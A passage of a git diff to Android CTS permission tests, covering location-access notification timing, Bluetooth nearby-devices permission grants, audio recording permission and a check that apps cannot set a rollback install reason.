+                getJobSchedulerDump().history.historyEvent) {
+            if (historyEvent.uid == permControllerUid
+                    && historyEvent.jobId == LOCATION_ACCESS_CHECK_JOB_ID
+                    && historyEvent.event == event) {
+                lastTime = max(lastTime,
+                        System.currentTimeMillis() - historyEvent.timeSinceEventMs);
+            }
+        }
+
+        return lastTime;
+    }
+
+    /**
      * Force a run of the location check.
      */
-    private static void runLocationCheck() {
+    private static void runLocationCheck() throws Throwable {
+        long beforeJob = System.currentTimeMillis();
+
+        // Sleep a little bit to avoid raciness in time keeping
+        Thread.sleep(100);
+
         runShellCommand(
                 "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
                         + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
+
+        long[] startTime = new long[] {-1};
+        eventually(() -> {
+            startTime[0] = getLastJobTime(START_PERIODIC_JOB);
+            assertTrue(startTime[0] + "!>" + beforeJob, startTime[0] > beforeJob);
+        }, EXPECTED_TIMEOUT_MILLIS);
+
+        eventually(() -> {
+            long stopTime = getLastJobTime(STOP_JOB);
+            assertTrue(startTime[0] <= stopTime);
+        }, EXPECTED_TIMEOUT_MILLIS);
     }
 
     /**
@@ -258,59 +333,37 @@
         return null;
     }
 
-    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
-        return getNotification(cancelNotification, false);
-    }
-
     /**
      * Get a location access notification that is currently visible.
      *
      * @param cancelNotification if {@code true} the notification is canceled inside this method
-     * @param returnImmediately if {@code true} this method returns immediately after checking once
-     *                          for the notification
      * @return The notification or {@code null} if there is none
      */
-    private StatusBarNotification getNotification(boolean cancelNotification,
-            boolean returnImmediately) throws Throwable {
+    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
         NotificationListenerService notificationService = NotificationListener.getInstance();
-        long start = SystemClock.elapsedRealtime();
-        long timeout = returnImmediately ? 0 : LOCATION_ACCESS_TIMEOUT_MILLIS
-                + BACKGROUND_ACCESS_SETTLE_TIME;
-        while (true) {
-            runLocationCheck();
-            Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
 
-            StatusBarNotification notification = getPermissionControllerNotification();
-            if (notification == null) {
-                // Sometimes getting a location takes some time, hence not getting a notification
-                // can be caused by not having gotten a location yet
-                if (SystemClock.elapsedRealtime() - start < timeout) {
-                    Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
-                    continue;
-                }
+        StatusBarNotification notification = getPermissionControllerNotification();
+        if (notification == null) {
+            return null;
+        }
 
-                return null;
-            }
-
-            if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
-                    .contains(TEST_APP_LABEL)) {
-                if (cancelNotification) {
-                    notificationService.cancelNotification(notification.getKey());
-
-                    // Wait for notification to get canceled
-                    eventually(() -> assertFalse(
-                            Arrays.asList(notificationService.getActiveNotifications()).contains(
-                                    notification)), UNEXPECTED_TIMEOUT_MILLIS);
-                }
-
-                return notification;
-            } else {
+        if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
+                .contains(TEST_APP_LABEL)) {
+            if (cancelNotification) {
                 notificationService.cancelNotification(notification.getKey());
 
-                // Wait until new notification can be shown
-                Thread.sleep(200);
+                // Wait for notification to get canceled
+                eventually(() -> assertFalse(
+                        Arrays.asList(notificationService.getActiveNotifications()).contains(
+                                notification)), UNEXPECTED_TIMEOUT_MILLIS);
             }
+
+            return notification;
         }
+
+        Log.d(LOG_TAG, "Bad notification " + notification);
+
+        return null;
     }
 
     /**
@@ -343,6 +396,10 @@
             // New settings will be applied in when permission controller is reset
             Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS, 100);
             Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS, 50);
+
+            // Disable job scheduler throttling by allowing 300000 jobs per 30 sec
+            sJobSchedulerDeviceConfig.set("qc_max_job_count_per_rate_limiting_window", "3000000");
+            sJobSchedulerDeviceConfig.set("qc_rate_limiting_window_ms", "30000");
         });
     }
 
@@ -418,26 +475,38 @@
      */
     @Before
     public void resetPermissionControllerBeforeEachTest() throws Throwable {
+        // Has to be before resetPermissionController to make sure enablement time is the reset time
+        // of permission controller
+        enableLocationAccessCheck();
+
         resetPermissionController();
+
+        eventually(() -> assertNull(getNotification(false)), UNEXPECTED_TIMEOUT_MILLIS);
+
+        // Reset job scheduler stats (to allow more jobs to be run)
+        runShellCommand(
+                "cmd jobscheduler reset-execution-quota -u " + myUserHandle().getIdentifier() + " "
+                        + PERMISSION_CONTROLLER_PKG);
     }
 
     /**
      * Enable location access check
      */
-    @Before
-    public void enableLocationAccessCheck() {
-        runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
-                DeviceConfig.NAMESPACE_PRIVACY,
-                PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "true", false));
+    public void enableLocationAccessCheck() throws Throwable {
+        mPrivacyDeviceConfig.set(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "true");
+
+        // Run a location access check to update enabled state inside permission controller
+        runLocationCheck();
     }
 
     /**
      * Disable location access check
      */
-    private void disableLocationAccessCheck() {
-        runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
-                DeviceConfig.NAMESPACE_PRIVACY,
-                PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "false", false));
+    private void disableLocationAccessCheck() throws Throwable {
+        mPrivacyDeviceConfig.set(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "false");
+
+        // Run a location access check to update enabled state inside permission controller
+        runLocationCheck();
     }
 
     /**
@@ -486,7 +555,7 @@
      */
     private static void resetPermissionController() throws Throwable {
         clearPackageData(PERMISSION_CONTROLLER_PKG);
-        int currentUserId = android.os.Process.myUserHandle().getIdentifier();
+        int currentUserId = myUserHandle().getIdentifier();
 
         // Wait until jobs are cleared
         eventually(() -> {
@@ -550,49 +619,60 @@
 
             Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS);
             Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS);
-        });
 
-        resetPermissionController();
+            sJobSchedulerDeviceConfig.restoreOriginalValues();
+        });
     }
 
     /**
      * Reset location access check
      */
     @After
-    public void resetPrivacyConfig() {
-        runWithShellPermissionIdentity(
-                () -> DeviceConfig.resetToDefaults(RESET_MODE_PACKAGE_DEFAULTS,
-                        DeviceConfig.NAMESPACE_PRIVACY));
+    public void resetPrivacyConfig() throws Throwable {
+        mPrivacyDeviceConfig.restoreOriginalValues();
+
+        // Run a location access check to update enabled state inside permission controller
+        runLocationCheck();
     }
 
     @After
     public void locationUnbind() throws Throwable {
         unbindService();
-        getNotification(true, true);
     }
 
     @Test
     public void notificationIsShown() throws Throwable {
         accessLocation();
-        assertNotNull(getNotification(true));
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
         assumeNotPlayManaged();
+
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
+
+        accessLocation();
+        runLocationCheck();
 
         assertNull(getNotification(true));
     }
 
+    @SystemUserOnly(reason = "b/172259935")
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
         assumeNotPlayManaged();
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
 
         clearPackageData(TEST_APP_PKG);
 
@@ -604,13 +684,18 @@
         grantPermissionToTestApp(ACCESS_BACKGROUND_LOCATION);
 
         accessLocation();
-        assertNotNull(getNotification(true));
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
+    @SystemUserOnly(reason = "b/172259935")
     @Test
     public void notificationIsShownAgainAfterUninstallAndReinstall() throws Throwable {
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
 
         uninstallBackgroundAccessApp();
 
@@ -619,18 +704,21 @@
 
         installBackgroundAccessApp();
 
-        eventually(() -> {
-            accessLocation();
-            assertNotNull(getNotification(true));
-        }, UNEXPECTED_TIMEOUT_MILLIS);
+        accessLocation();
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
         assumeNotPlayManaged();
+
         accessLocation();
-        getNotification(false);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(false)), EXPECTED_TIMEOUT_MILLIS);
 
         uninstallBackgroundAccessApp();
 
@@ -645,7 +733,9 @@
     @Test
     public void notificationIsNotShownAfterAppDoesNotRequestLocationAnymore() throws Throwable {
         accessLocation();
-        getNotification(true);
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
 
         // Update to app to a version that does not request permission anymore
         installForegroundAccessApp();
@@ -653,14 +743,10 @@
         try {
             resetPermissionController();
 
-            try {
-                // We don't expect a notification, but try to trigger one anyway
-                eventually(() -> assertNotNull(getNotification(false)), EXPECTED_TIMEOUT_MILLIS);
-            } catch (AssertionError expected) {
-                return;
-            }
+            runLocationCheck();
 
-            fail("Location access notification was shown");
+            // We don't expect a notification, but try to trigger one anyway
+            assertNull(getNotification(false));
         } finally {
             installBackgroundAccessApp(true);
         }
@@ -670,51 +756,71 @@
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfFeatureDisabled() throws Throwable {
         assumeNotPlayManaged();
+
         disableLocationAccessCheck();
+
         accessLocation();
-        assertNull(getNotification(true));
+        runLocationCheck();
+
+        assertNull(getNotification(false));
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
         assumeNotPlayManaged();
-        // Disable the feature and access location in disabled state
-        getNotification(true, true);
+
         disableLocationAccessCheck();
+
         accessLocation();
-        assertNull(getNotification(true));
+        runLocationCheck();
 
         // No notification expected for accesses before enabling the feature
+        assertNull(getNotification(false));
+
         enableLocationAccessCheck();
-        assertNull(getNotification(true));
+
+        // Trigger update of location enable time. In the real world it enabling happens on the
+        // first location check. I.e. accesses before this location check are ignored.
+        runLocationCheck();
+
+        // No notification expected for accesses before enabling the feature (even after feature is
+        // enabled now)
+        assertNull(getNotification(false));
 
         // Notification expected for access after enabling the feature
         accessLocation();
-        assertNotNull(getNotification(true));
+        runLocationCheck();
+
+        eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
         assumeNotPlayManaged();
-        getNotification(true);
+
         // Blame the app for access from an untrusted for notification purposes package.
         runWithShellPermissionIdentity(() -> {
             AppOpsManager appOpsManager = sContext.getSystemService(AppOpsManager.class);
-            appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_FINE_LOCATION, TEST_APP_PKG,
+            appOpsManager.noteProxyOpNoThrow(OPSTR_FINE_LOCATION, TEST_APP_PKG,
                     sContext.getPackageManager().getPackageUid(TEST_APP_PKG, 0));
         });
-        assertNull(getNotification(true));
+        runLocationCheck();
+
+        assertNull(getNotification(false));
     }
 
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
         assumeNotPlayManaged();
+
         Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         sContext.startActivity(intent);
-        assertNull(getNotification(true));
+
+        runLocationCheck();
+        assertNull(getNotification(false));
     }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
new file mode 100644
index 0000000..7f6446c
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_SCAN;
+import static android.permission.cts.PermissionUtils.grantPermission;
+import static android.permission.cts.PermissionUtils.install;
+import static android.permission.cts.PermissionUtils.revokePermission;
+import static android.permission.cts.PermissionUtils.uninstallApp;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.ContentResolver;
+import android.content.Intent;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests the behavior of the
+ * {@link android.Manifest.permission_group#NEARBY_DEVICES} permission group
+ * under various permutations of grant states.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class NearbyDevicesPermissionTest {
+    private static final String TEST_APP_PKG = "android.permission.cts.appthatrequestpermission";
+    private static final String TEST_APP_AUTHORITY = "appthatrequestpermission";
+
+    private static final String TMP_DIR = "/data/local/tmp/cts/permissions/";
+    private static final String APK_BLUETOOTH_30 = TMP_DIR
+            + "CtsAppThatRequestsBluetoothPermission30.apk";
+    private static final String APK_BLUETOOTH_31 = TMP_DIR
+            + "CtsAppThatRequestsBluetoothPermission31.apk";
+    private static final String APK_BLUETOOTH_NEVER_FOR_LOCATION_31 = TMP_DIR
+            + "CtsAppThatRequestsBluetoothPermissionNeverForLocation31.apk";
+
+    private static final String METHOD_SCAN_BLUETOOTH = "scan_bluetooth";
+
+    private enum Result {
+        UNKNOWN, EXCEPTION, EMPTY, FILTERED, FULL
+    }
+
+    @BeforeClass
+    public static void enableTestMode() {
+        runShellCommand("dumpsys activity service"
+                + " com.android.bluetooth/.btservice.AdapterService set-test-mode enabled");
+    }
+
+    @AfterClass
+    public static void disableTestMode() {
+        runShellCommand("dumpsys activity service"
+                + " com.android.bluetooth/.btservice.AdapterService set-test-mode disabled");
+    }
+
+    @After
+    public void uninstallTestApp() {
+        uninstallApp(TEST_APP_PKG);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission30_Default() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        assertScanBluetoothResult(Result.EMPTY);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission30_GrantLocation() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission30_GrantLocation_RevokeNearby() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        revokePermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        revokePermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.EXCEPTION);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission31_Default() throws Throwable {
+        install(APK_BLUETOOTH_31);
+        assertScanBluetoothResult(Result.EXCEPTION);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission31_GrantNearby() throws Throwable {
+        install(APK_BLUETOOTH_31);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.EMPTY);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission31_GrantLocation() throws Throwable {
+        install(APK_BLUETOOTH_31);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.EXCEPTION);
+    }
+
+    @Test
+    public void testRequestBluetoothPermission31_GrantNearby_GrantLocation() throws Throwable {
+        install(APK_BLUETOOTH_31);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+    }
+
+    @Test
+    public void testRequestBluetoothPermissionNeverForLocation31_Default() throws Throwable {
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
+        assertScanBluetoothResult(Result.EXCEPTION);
+    }
+
+    @Test
+    public void testRequestBluetoothPermissionNeverForLocation31_GrantNearby() throws Throwable {
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.FILTERED);
+    }
+
+    @Test
+    public void testRequestBluetoothPermissionNeverForLocation31_GrantLocation() throws Throwable {
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.EXCEPTION);
+    }
+
+    @Test
+    public void testRequestBluetoothPermissionNeverForLocation31_GrantNearby_GrantLocation()
+            throws Throwable {
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FILTERED);
+    }
+
+    /**
+     * Verify that upgrading an app doesn't gain them any access to Bluetooth
+     * scan results; they'd always need to involve the user to gain permissions.
+     */
+    @Test
+    public void testRequestBluetoothPermission_Upgrade() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+
+        // Upgrading to target a new SDK level means they need to explicitly
+        // request the new runtime permission; by default it's denied
+        install(APK_BLUETOOTH_31);
+        assertScanBluetoothResult(Result.EXCEPTION);
+
+        // If the user does grant it, they can scan again
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.FULL);
+    }
+
+    /**
+     * Verify that downgrading an app doesn't gain them any access to Bluetooth
+     * scan results; they'd always need to involve the user to gain permissions.
+     */
+    @Test
+    public void testRequestBluetoothPermission_Downgrade() throws Throwable {
+        install(APK_BLUETOOTH_31);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+
+        // Revoking nearby permission means modern app can't scan
+        revokePermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        revokePermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.EXCEPTION);
+
+        // And if they attempt to downgrade, confirm that they can't obtain the
+        // split-permission grant from the older non-runtime permissions
+        install(APK_BLUETOOTH_30);
+        assertScanBluetoothResult(Result.EXCEPTION);
+    }
+
+    private void assertScanBluetoothResult(Result expected) {
+        final ContentResolver resolver = InstrumentationRegistry.getTargetContext()
+                .getContentResolver();
+        final Bundle res = resolver.call(TEST_APP_AUTHORITY, METHOD_SCAN_BLUETOOTH, null, null);
+        assertEquals(expected, Result.values()[res.getInt(Intent.EXTRA_INDEX)]);
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
index 0ab5ff0..c2c42a1 100644
--- a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
@@ -16,8 +16,14 @@
 
 package android.permission.cts;
 
+import static org.testng.Assert.assertThrows;
+
 import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
 import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
@@ -37,6 +43,11 @@
         assertNotNull(mAudioManager);
     }
 
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
     /**
      * Verify that AudioManager.setMicrophoneMute, AudioManager.setMode requires permissions.
      * <p>Requires Permission:
@@ -83,4 +94,30 @@
         mAudioManager.setBluetoothScoOn(!prevState);
         assertEquals(prevState, mAudioManager.isBluetoothScoOn());
     }
+
+    /**
+     * Verify that {@link android.media.AudioRecord.Builder#build} and
+     * {@link android.media.AudioRecord#AudioRecord} require permission
+     * {@link android.Manifest.permission#RECORD_AUDIO}.
+     */
+    @SmallTest
+    public void testRecordPermission() {
+        if (!hasMicrophone()) return;
+
+        // test builder
+        assertThrows(java.lang.UnsupportedOperationException.class, () -> {
+            final AudioRecord record = new AudioRecord.Builder().build();
+            record.release();
+        });
+
+        // test constructor
+        final int sampleRate = 8000;
+        final int halfSecondInBytes = sampleRate;
+        AudioRecord record = new AudioRecord(
+                MediaRecorder.AudioSource.DEFAULT, sampleRate, AudioFormat.CHANNEL_IN_MONO,
+                AudioFormat.ENCODING_PCM_16BIT, halfSecondInBytes);
+        final int state = record.getState();
+        record.release();
+        assertEquals(AudioRecord.STATE_UNINITIALIZED, state);
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
new file mode 100644
index 0000000..50b84fa
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.pm.PackageInstaller;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "PackageInstaller cannot be accessed by instant apps")
+public class NoRollbackPermissionTest {
+    @Test
+    public void testCreateInstallSessionWithReasonRollbackFails() throws Exception {
+        // The INSTALL_REASON_ROLLBACK allows an APK to be rolled back to a previous signing key
+        // without setting the ROLLBACK capability in the lineage. Since only signature|privileged
+        // apps can hold the necessary permission to initiate a rollback ensure apps without this
+        // permission cannot set rollback as the install reason.
+        PackageInstaller packageInstaller =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+                        .getPackageInstaller();
+        PackageInstaller.SessionParams parentParams = new PackageInstaller.SessionParams(
+                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+        parentParams.setRequestDowngrade(true);
+        parentParams.setMultiPackage();
+        // The constant PackageManager.INSTALL_REASON_ROLLBACK is hidden from apps, but an app can
+        // still use its constant value.
+        parentParams.setInstallReason(5);
+        assertThrows(SecurityException.class, () -> packageInstaller.createSession(parentParams));
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoSdCardWritePermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoSdCardWritePermissionTest.java
deleted file mode 100644
index f1c4e4b..0000000
--- a/tests/tests/permission/src/android/permission/cts/NoSdCardWritePermissionTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission.cts;
-
-import static org.junit.Assert.fail;
-
-import android.os.Environment;
-import android.os.storage.StorageManager;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Assume;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-
-/**
- * Test writing to SD card requires permissions
- */
-@RunWith(AndroidJUnit4.class)
-public class NoSdCardWritePermissionTest {
-    @Test
-    public void testWriteExternalStorage() throws FileNotFoundException, IOException {
-        Assume.assumeFalse(StorageManager.hasIsolatedStorage());
-
-        try {
-            String fl = Environment.getExternalStorageDirectory().toString() +
-                         "/this-should-not-exist.txt";
-            FileOutputStream strm = new FileOutputStream(fl);
-            strm.write("Oops!".getBytes());
-            strm.flush();
-            strm.close();
-            fail("Was able to create and write to " + fl);
-        } catch (SecurityException e) {
-            // expected
-        } catch (FileNotFoundException e) {
-            // expected
-        }
-    }
-}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index ce2fade..8661f2e 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -31,6 +31,7 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -164,6 +165,7 @@
 
     @SecurityTest
     @Test
+    @AppModeFull
     public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
         installApp("CtsAppThatRequestsPermissionAandB");
 
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionManagerNativeJniTest.java b/tests/tests/permission/src/android/permission/cts/PermissionManagerNativeJniTest.java
new file mode 100644
index 0000000..868b3d1
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/PermissionManagerNativeJniTest.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+@RunWith(GtestRunner.class)
+@TargetLibrary("permissionmanager_native_test")
+public class PermissionManagerNativeJniTest {}
+
diff --git a/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java b/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
index 0926a0f..b842cc0 100644
--- a/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
@@ -18,6 +18,8 @@
 import android.os.PowerManager;
 import android.test.AndroidTestCase;
 
+import java.time.Duration;
+
 public class PowerManagerServicePermissionTest extends AndroidTestCase {
 
     public void testSetBatterySaver_requiresPermissions() {
@@ -32,21 +34,22 @@
         }
     }
 
-    public void testGetPowerSaverMode_requiresPermissions() {
+    public void testSetDynamicPowerSavings_requiresPermissions() {
         try {
             PowerManager manager = getContext().getSystemService(PowerManager.class);
-            manager.getPowerSaveModeTrigger();
